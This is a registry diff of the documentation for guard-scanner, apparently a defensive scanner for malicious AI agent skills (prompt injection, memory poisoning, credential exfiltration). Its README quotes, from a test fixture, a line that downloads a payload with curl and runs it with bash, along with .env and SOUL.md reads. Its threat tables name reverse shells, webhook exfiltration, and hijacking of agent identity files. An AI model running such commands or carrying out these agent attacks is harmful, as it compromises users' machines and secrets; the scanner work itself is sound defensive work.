@guava-parity/guard-scanner 5.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Guava & Dee
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,250 @@
1
+ # guard-scanner πŸ›‘οΈ
2
+
3
+ *The Original, Zero-Dependency Shield for the AI Agent Era.*
4
+
5
+ As autonomous AI agents become more prevalent, the risk of executing untrusted or malicious skills increases. **guard-scanner** is an open-source, zero-dependency static and runtime security scanner designed to help protect developers' local machines from Prompt Injections, RCEs, and Memory Poisoning.
6
+
7
+ Built collaboratively by the **[Guava Parity Institute](https://github.com/koatora20)** and the open-source community. We believe that AI safety infrastructure should be a shared, transparent, and accessible resource for everyone. We welcome contributions, feedback, and discussion from all developers!
8
+
9
+ **150 static patterns + 26 runtime checks** across **23 threat categories**.
10
+
11
+ [![npm](https://img.shields.io/npm/v/guard-scanner)](https://www.npmjs.com/package/guard-scanner)
12
+ [![license](https://img.shields.io/npm/l/guard-scanner)](LICENSE)
13
+
14
+ ## Install
15
+
16
+ ```bash
17
+ npm install -g guard-scanner
18
+ ```
19
+
20
+ > **Why use this?** If you are experimenting with third-party skills for your AI agents, `guard-scanner` acts as a basic safety net, helping to identify hidden prompts or dangerous execution patterns.
21
+ >
22
+ > 🀝 **We need your help!**: The landscape of Agentic AI threats is evolving rapidly. We are maintaining this project out of goodwill to provide a baseline defense, but we rely on community contributions to keep our pattern database updated. If you find a false positive or a new threat vector, please consider opening an issue or a pull request!
23
+
24
+ ## Quick Start
25
+
26
+ ```bash
27
+ # Scan all skills
28
+ guard-scanner ./skills/ --verbose
29
+
30
+ # Strict mode + reports
31
+ guard-scanner ./skills/ --strict --json --sarif --fail-on-findings
32
+
33
+ # CI/CD pipeline (stdout)
34
+ guard-scanner ./skills/ --format sarif --quiet | upload-sarif
35
+ ```
36
+
37
+ ## πŸ” Example Scan Output
38
+
39
+ This is actual output from scanning a malicious test skill demonstrating data exfiltration, memory poisoning, and credential theft:
40
+
41
+ ```console
42
+ $ guard-scanner ./test/fixtures/malicious-skill/ --verbose
43
+
44
+ πŸ›‘οΈ guard-scanner v5.0.5
45
+ ══════════════════════════════════════════════════════
46
+ πŸ“‚ Scanning: ./test/fixtures/malicious-skill/
47
+ πŸ“¦ Skills found: 1
48
+
49
+ πŸ”΄ scripts β€” MALICIOUS (risk: 100)
50
+ πŸ“ exfiltration
51
+ πŸ”΄ [HIGH] Suspicious domain: webhook.site β€” evil.js
52
+ πŸ“ malicious-code
53
+ πŸ”΄ [HIGH] eval() call β€” evil.js:18
54
+ πŸ’€ [CRITICAL] Shell download/execution β€” stealer.js:19
55
+ └─ "exec(`curl https://91.92.242.30/payload -o /tmp/x && bash"
56
+ πŸ“ credential-handling
57
+ πŸ”΄ [HIGH] Credential file read β€” evil.js:6
58
+ └─ "readFileSync('.env"
59
+ πŸ’€ [CRITICAL] Agent identity file read β€” evil.js:7
60
+ └─ "readFileSync('SOUL.md"
61
+ πŸ“ memory-poisoning
62
+ πŸ’€ [CRITICAL] Write to agent soul file β€” evil.js:21
63
+ └─ "writeFileSync('SOUL.md"
64
+ πŸ“ data-flow
65
+ πŸ’€ [CRITICAL] Data flow: secret read (L6) β†’ network call (L10) β€” evil.js:6
66
+
67
+ ══════════════════════════════════════════════════════
68
+ πŸ“Š guard-scanner Scan Summary
69
+ ──────────────────────────────────────────────────────
70
+ Scanned: 1
71
+ 🟒 Clean: 0
72
+ πŸ”΄ Malicious: 1
73
+ Safety Rate: 0%
74
+ ══════════════════════════════════════════════════════
75
+ ⚠️ CRITICAL: 1 malicious skill(s) detected!
76
+ ```
77
+
78
+ ## πŸš€ Standalone Architecture
79
+
80
+ **guard-scanner** is designed as a foundational "Shield" for the OpenClaw ecosystem.
81
+ It features a **Standalone Boot Sequence**:
82
+ - **Zero API/DB Dependencies**: It initializes purely from local, static Threat Patterns (147 regex rules) defined in its codebase.
83
+ - **No Heavy Context Loading**: It does *not* require loading heavy memory databases or executing contextual commands.
84
+ - **Privacy First**: It never accesses or exposes your agent's private memory during the boot phase.
85
+
86
+ This lightweight initialization makes it perfect for zero-trust environments, ensuring complete safety without exposing proprietary agent logic.
87
+
88
+ ## Options
89
+
90
+ | Flag | Description |
91
+ |------|-------------|
92
+ | `--verbose`, `-v` | Detailed findings with categories and samples |
93
+ | `--strict` | Lower detection thresholds (more sensitive) |
94
+ | `--check-deps` | Scan `package.json` for dependency chain risks |
95
+ | `--soul-lock` | Enable agent identity protection (SOUL.md/MEMORY.md patterns) |
96
+ | `--json` | Write JSON report to file |
97
+ | `--sarif` | Write SARIF 2.1.0 report (GitHub Code Scanning) |
98
+ | `--html` | Write HTML dashboard report |
99
+ | `--format json\|sarif` | Print to stdout (pipeable) |
100
+ | `--quiet` | Suppress text output (use with `--format`) |
101
+ | `--self-exclude` | Skip scanning guard-scanner itself |
102
+ | `--summary-only` | Only print the summary table |
103
+ | `--rules <file>` | Load custom detection rules (JSON) |
104
+ | `--plugin <file>` | Load plugin module |
105
+ | `--fail-on-findings` | Exit code 1 if any findings (CI/CD) |
106
+
107
+ ## Threat Categories (23)
108
+
109
+ | # | Category | Detects |
110
+ |---|----------|---------|
111
+ | 1 | Prompt Injection | Hidden instructions, invisible Unicode, homoglyphs, XML tag injection |
112
+ | 2 | Malicious Code | `eval()`, `child_process`, reverse shells, raw sockets |
113
+ | 3 | Suspicious Downloads | `curl\|bash`, executable downloads, password-protected archives |
114
+ | 4 | Credential Handling | `.env` reads, SSH keys, sudo in instructions |
115
+ | 5 | Secret Detection | Hardcoded API keys, AWS keys, GitHub tokens, Shannon entropy |
116
+ | 6 | Exfiltration | webhook.site, DNS tunneling, curl data exfil |
117
+ | 7 | Unverifiable Deps | Remote dynamic imports |
118
+ | 8 | Financial Access | Crypto transactions, payment APIs |
119
+ | 9 | Obfuscation | Base64β†’exec, hex encoding, `String.fromCharCode` |
120
+ | 10 | Prerequisites Fraud | Fake download/paste instructions |
121
+ | 11 | Leaky Skills | Secrets saved in agent memory, verbatim in commands |
122
+ | 12 | Memory Poisoning ⚿ | SOUL.md/MEMORY.md modification, behavioral rule override |
123
+ | 13 | Prompt Worm | Self-replicating prompts, agent-to-agent propagation |
124
+ | 14 | Persistence | Cron, launchd, startup execution |
125
+ | 15 | CVE Patterns | CVE-2026-25253 (RCE), CVE-2026-25905 (Pyodide), CVE-2026-27825 (path traversal) |
126
+ | 16 | MCP Security | Tool/schema poisoning, SSRF, shadow server registration |
127
+ | 16b | Trust Boundary | Calendar/email/web β†’ code execution chains |
128
+ | 16c | Advanced Exfiltration | ZombieAgent static URL arrays, drip exfil, beacon |
129
+ | 16d | Safeguard Bypass | URL parameter injection, retry-on-block |
130
+ | 17 | Identity Hijacking ⚿ | SOUL.md overwrite, persona swap, memory wipe |
131
+ | 18 | Config Impact | `openclaw.json` writes, exec approval disabling |
132
+ | 19 | PII Exposure | Hardcoded CC/SSN, PII logging, Shadow AI API calls |
133
+ | 20 | Trust Exploitation | Authority claims, creator impersonation, fake audits |
134
+ | 21 | VDB Injection | Vector database poisoning, embedding manipulation |
135
+
136
+ > ⚿ = Requires `--soul-lock` flag (opt-in)
137
+
138
+ ## Runtime Guard (26 checks, 5 layers)
139
+
140
+ Real-time `before_tool_call` hook that blocks dangerous operations.
141
+
142
+ | Layer | Name | Checks |
143
+ |-------|------|--------|
144
+ | 1 | Threat Detection | Reverse shell, curl\|bash, SSRF, credential exfil |
145
+ | 2 | Trust Defense | SOUL.md tampering, memory injection |
146
+ | 3 | Safety Judge | Prompt injection in tool args, trust bypass |
147
+ | 4 | Behavioral | No-research execution |
148
+ | 5 | Trust Exploitation (ASI09) | Authority claim, creator bypass, fake audit |
149
+
150
+ ```bash
151
+ # Install as OpenClaw hook
152
+ openclaw hooks install skills/guard-scanner/hooks/guard-scanner
153
+ openclaw hooks enable guard-scanner
154
+ ```
155
+
156
+ Modes: `monitor` (log only) / `enforce` (block CRITICAL) / `strict` (block HIGH+CRITICAL)
157
+
158
+ ## OWASP Mapping
159
+
160
+ - **OWASP LLM Top 10 2025**: LLM01–LLM10 fully mapped
161
+ - **OWASP Agentic Security Top 10**: ASI01–ASI10 coverage (tested)
162
+
163
+ ## Test Results
164
+
165
+ ```
166
+ β„Ή tests 136
167
+ β„Ή suites 24
168
+ β„Ή pass 136
169
+ β„Ή fail 0
170
+ β„Ή duration_ms 165
171
+ ```
172
+
173
+ | Suite | Tests |
174
+ |-------|-------|
175
+ | Malicious Skill Detection | 16 βœ… |
176
+ | Clean Skill (False Positive) | 2 βœ… |
177
+ | Risk Score Calculation | 5 βœ… |
178
+ | Verdict Determination | 5 βœ… |
179
+ | Output Formats (JSON/SARIF/HTML) | 4 βœ… |
180
+ | Pattern Database (150 patterns, 23 categories) | 4 βœ… |
181
+ | IoC Database | 5 βœ… |
182
+ | Shannon Entropy | 2 βœ… |
183
+ | Ignore Functionality | 1 βœ… |
184
+ | Plugin API | 1 βœ… |
185
+ | Skill Manifest Validation | 4 βœ… |
186
+ | Code Complexity Metrics | 2 βœ… |
187
+ | Report Noise Regression | 2 βœ… |
188
+ | Config Impact Analysis | 4 βœ… |
189
+ | PII Exposure Detection | 8 βœ… |
190
+ | OWASP Agentic Security (ASI01–10) | 14 βœ… |
191
+ | Runtime Guard (5 layers, 26 checks) | 25 βœ… |
192
+ | CVE Detection (CVE-2026-25905, CVE-2026-27825) | 2 βœ… |
193
+
194
+ ## Plugin API
195
+
196
+ ```javascript
197
+ // my-plugin.js
198
+ module.exports = {
199
+ name: 'my-plugin',
200
+ patterns: [
201
+ { id: 'MY_01', cat: 'custom', regex: /pattern/g, severity: 'HIGH', desc: 'Description', all: true }
202
+ ]
203
+ };
204
+ ```
205
+
206
+ ```bash
207
+ guard-scanner ./skills/ --plugin ./my-plugin.js
208
+ ```
209
+
210
+ ## Custom Rules (JSON)
211
+
212
+ ```json
213
+ [
214
+ {
215
+ "id": "CUSTOM_001",
216
+ "pattern": "dangerous_function\\(",
217
+ "flags": "gi",
218
+ "severity": "HIGH",
219
+ "cat": "malicious-code",
220
+ "desc": "Custom: dangerous function call",
221
+ "codeOnly": true
222
+ }
223
+ ]
224
+ ```
225
+
226
+ ```bash
227
+ guard-scanner ./skills/ --rules ./my-rules.json
228
+ ```
229
+
230
+ ## Output Formats
231
+
232
+ - **Terminal** β€” Color-coded verdicts with risk scores
233
+ - **JSON** β€” Machine-readable report (`--json`)
234
+ - **SARIF 2.1.0** β€” GitHub Code Scanning / CI/CD (`--sarif`)
235
+ - **HTML** β€” Visual dashboard (`--html`)
236
+ - **stdout** β€” Pipeable output (`--format json|sarif --quiet`)
237
+
238
+ ## Contributing
239
+
240
+ We wholeheartedly welcome contributions! Guard-scanner is built on community knowledge.
241
+
242
+ Whether you're fixing a bug, adding a new threat pattern, or simply improving the documentation, your help is deeply appreciated. Please see our [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines on how to get started.
243
+
244
+ ## Code of Conduct
245
+
246
+ We are committed to fostering a welcoming, respectful, and harassment-free environment. Please read our [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md) before participating in our community.
247
+
248
+ ## License
249
+
250
+ MIT β€” [Guava Parity Institute](https://github.com/koatora20/guard-scanner)
package/SECURITY.md ADDED
@@ -0,0 +1,45 @@
1
+ # Security Policy
2
+
3
+ ## Reporting Vulnerabilities
4
+
5
+ If you discover a security vulnerability in guard-scanner itself, please report it responsibly:
6
+
7
+ 1. **Do NOT open a public issue**
8
+ 2. Use [GitHub Security Advisories](https://github.com/koatora20/guard-scanner/security/advisories/new)
9
+ 3. Include: affected version, steps to reproduce, potential impact
10
+
11
+ We will respond within 48 hours and provide a fix within 7 days for critical issues.
12
+
13
+ ## Scope
14
+
15
+ guard-scanner is a **static analysis tool** β€” it reads files but never executes them. It does not:
16
+ - Execute any code from scanned skills
17
+ - Make network requests
18
+ - Modify any files in the scan directory
19
+ - Require elevated privileges
20
+
21
+ The only files guard-scanner writes are output reports (`--json`, `--sarif`, `--html`) to the scan directory.
22
+
23
+ ## Supply Chain Security
24
+
25
+ guard-scanner itself has **zero runtime dependencies**. This is a deliberate design choice:
26
+ - Nothing to audit
27
+ - No transitive dependency risks
28
+ - No `postinstall` scripts
29
+ - Pure Node.js stdlib
30
+
31
+ ## Pattern Updates
32
+
33
+ The threat pattern database (`src/patterns.js`) and IoC database (`src/ioc-db.js`) are updated based on:
34
+ - Snyk ToxicSkills taxonomy
35
+ - OWASP MCP Top 10
36
+ - CVE reports affecting AI agents
37
+ - Community-reported incidents
38
+ - Original research from real-world attacks
39
+
40
+ ## Responsible Disclosure
41
+
42
+ The test fixtures in `test/fixtures/malicious-skill/` contain **intentionally malicious patterns** for testing purposes. These files are:
43
+ - Clearly marked as test fixtures
44
+ - Non-functional (will error if executed)
45
+ - Necessary for validating detection capabilities
package/SKILL.md ADDED
@@ -0,0 +1,141 @@
1
+ ---
2
+ name: guard-scanner
3
+ description: "The #1 security scanner for AI agent skills on ClawHub. Scan skills for prompt injection, credential theft, exfiltration, malware, and 23 threat categories. 150 static patterns + 26 runtime checks. The most comprehensive skill scanner and security auditor for OpenClaw β€” zero dependencies, 0.016ms/scan."
4
+ metadata:
5
+ clawdbot:
6
+ homepage: "https://github.com/koatora20/guard-scanner"
7
+ requires:
8
+ env: {}
9
+ files:
10
+ - "dist/*"
11
+ - "src/*"
12
+ - "hooks/*"
13
+ - "openclaw.plugin.json"
14
+ ---
15
+
16
+ # guard-scanner πŸ›‘οΈ β€” The #1 Skill Scanner for AI Agent Security
17
+
18
+ The most comprehensive security scanner and skill auditor for OpenClaw agents.
19
+ **150 static patterns + 26 runtime checks (5 layers)** across **23 threat categories**. The go-to scanner for protecting your AI agent workspace β€” zero dependencies, MIT licensed. **0.016ms/scan.**
20
+
21
+ ## When To Use This Skill
22
+
23
+ - **Before installing a new skill** from ClawHub or any external source
24
+ - **After updating skills** to check for newly introduced threats
25
+ - **Periodically** to audit your installed skills
26
+ - **In CI/CD** to gate skill deployments
27
+
28
+ ## Quick Start
29
+
30
+ ### 1. Static Scan (Immediate)
31
+
32
+ Scan all installed skills:
33
+
34
+ ```bash
35
+ npx guard-scanner ~/.openclaw/workspace/skills/ --verbose --self-exclude
36
+ ```
37
+
38
+ Scan a specific skill:
39
+
40
+ ```bash
41
+ npx guard-scanner /path/to/new-skill/ --strict --verbose
42
+ ```
43
+
44
+ ### 2. Runtime Guard (OpenClaw Plugin Hook)
45
+
46
+ Blocks dangerous tool calls in real-time via `before_tool_call` hook. 26 checks, 5 layers, 3 enforcement modes.
47
+
48
+ ```bash
49
+ openclaw hooks install skills/guard-scanner/hooks/guard-scanner
50
+ openclaw hooks enable guard-scanner
51
+ openclaw hooks list
52
+ ```
53
+
54
+ ### 3. Recommended order
55
+
56
+ ```bash
57
+ # Pre-install / pre-update gate first
58
+ npx guard-scanner ~/.openclaw/workspace/skills/ --verbose --self-exclude --html
59
+
60
+ # Then keep runtime monitoring enabled
61
+ openclaw hooks install skills/guard-scanner/hooks/guard-scanner
62
+ openclaw hooks enable guard-scanner
63
+ ```
64
+
65
+ ## Runtime Guard Modes
66
+
67
+ Set in `openclaw.json` β†’ `plugins.guard-scanner.mode`:
68
+
69
+ | Mode | Behavior |
70
+ |------|----------|
71
+ | `monitor` | Log all, never block |
72
+ | `enforce` (default) | Block CRITICAL threats |
73
+ | `strict` | Block HIGH + CRITICAL |
74
+
75
+ ## Threat Categories (23)
76
+
77
+ | # | Category | What It Detects |
78
+ |---|----------|----------------|
79
+ | 1 | Prompt Injection | Hidden instructions, invisible Unicode, homoglyphs |
80
+ | 2 | Malicious Code | eval(), child_process, reverse shells |
81
+ | 3 | Suspicious Downloads | curl\|bash, executable downloads |
82
+ | 4 | Credential Handling | .env reads, SSH key access |
83
+ | 5 | Secret Detection | Hardcoded API keys and tokens |
84
+ | 6 | Exfiltration | webhook.site, DNS tunneling |
85
+ | 7 | Unverifiable Deps | Remote dynamic imports |
86
+ | 8 | Financial Access | Crypto wallets, payment APIs |
87
+ | 9 | Obfuscation | Base64β†’eval, String.fromCharCode |
88
+ | 10 | Prerequisites Fraud | Fake download instructions |
89
+ | 11 | Leaky Skills | Secret leaks through LLM context |
90
+ | 12 | Memory Poisoning\* | Agent memory modification |
91
+ | 13 | Prompt Worm | Self-replicating instructions |
92
+ | 14 | Persistence | Cron jobs, startup execution |
93
+ | 15 | CVE Patterns | CVE-2026-25253, CVE-2026-25905, CVE-2026-27825 |
94
+ | 16 | MCP Security | Tool/schema poisoning, SSRF |
95
+ | 17 | Identity Hijacking\* | SOUL.md/IDENTITY.md tampering |
96
+ | 18 | Sandbox Validation | Dangerous binaries, broad file scope |
97
+ | 19 | Code Complexity | Excessive file length, deep nesting |
98
+ | 20 | Config Impact | openclaw.json writes, exec approval bypass |
99
+ | 21 | PII Exposure | CC/SSN, PII logging, Shadow AI |
100
+ | 22 | Trust Exploitation | Authority claims, creator impersonation |
101
+ | 23 | VDB Injection | Vector database poisoning, embedding manipulation |
102
+
103
+ \* = Requires `--soul-lock` flag
104
+
105
+ ## External Endpoints
106
+
107
+ | URL | Data Sent | Purpose |
108
+ |-----|-----------|---------|
109
+ | *(none)* | *(none)* | guard-scanner makes **zero** network requests. All scanning is local. |
110
+
111
+ ## Security & Privacy
112
+
113
+ - **No network access**: guard-scanner never connects to external servers
114
+ - **Read-only scanning**: Only reads files, never modifies scanned directories
115
+ - **No telemetry**: No usage data, analytics, or crash reports are collected
116
+ - **Local reports only**: Output files (JSON/SARIF/HTML) are written to the scan directory
117
+ - **No environment variable access**: Does not read or process any secrets or API keys
118
+ - **Runtime Guard audit log**: Detections logged locally to `~/.openclaw/guard-scanner/audit.jsonl`
119
+
120
+ ## Model Invocation Note
121
+
122
+ guard-scanner **does not invoke any LLM or AI model**. All detection is performed
123
+ through static pattern matching, regex analysis, Shannon entropy calculation,
124
+ and data flow analysis β€” entirely deterministic, no model calls.
125
+
126
+ ## Trust Statement
127
+
128
+ guard-scanner was created by Guava 🍈 & Dee after experiencing a real 3-day
129
+ identity hijack incident in February 2026. A malicious skill silently replaced
130
+ an AI agent's SOUL.md personality file, and no existing tool could detect it.
131
+
132
+ - **Open source**: https://github.com/koatora20/guard-scanner
133
+ - **Zero dependencies**: Nothing to audit, no transitive risks
134
+ - **Test suite**: 139 tests across 24 suites, 100% pass rate
135
+ - **Taxonomy**: Based on Snyk ToxicSkills (Feb 2026), OWASP MCP Top 10, and original research
136
+ - **OWASP**: ASI01–ASI10 coverage 90% (9/10 verified)
137
+ - **CVE coverage**: CVE-2026-2256, CVE-2026-25046, CVE-2026-25253, CVE-2026-25905, CVE-2026-27825
138
+
139
+ ## License
140
+
141
+ MIT β€” [LICENSE](LICENSE)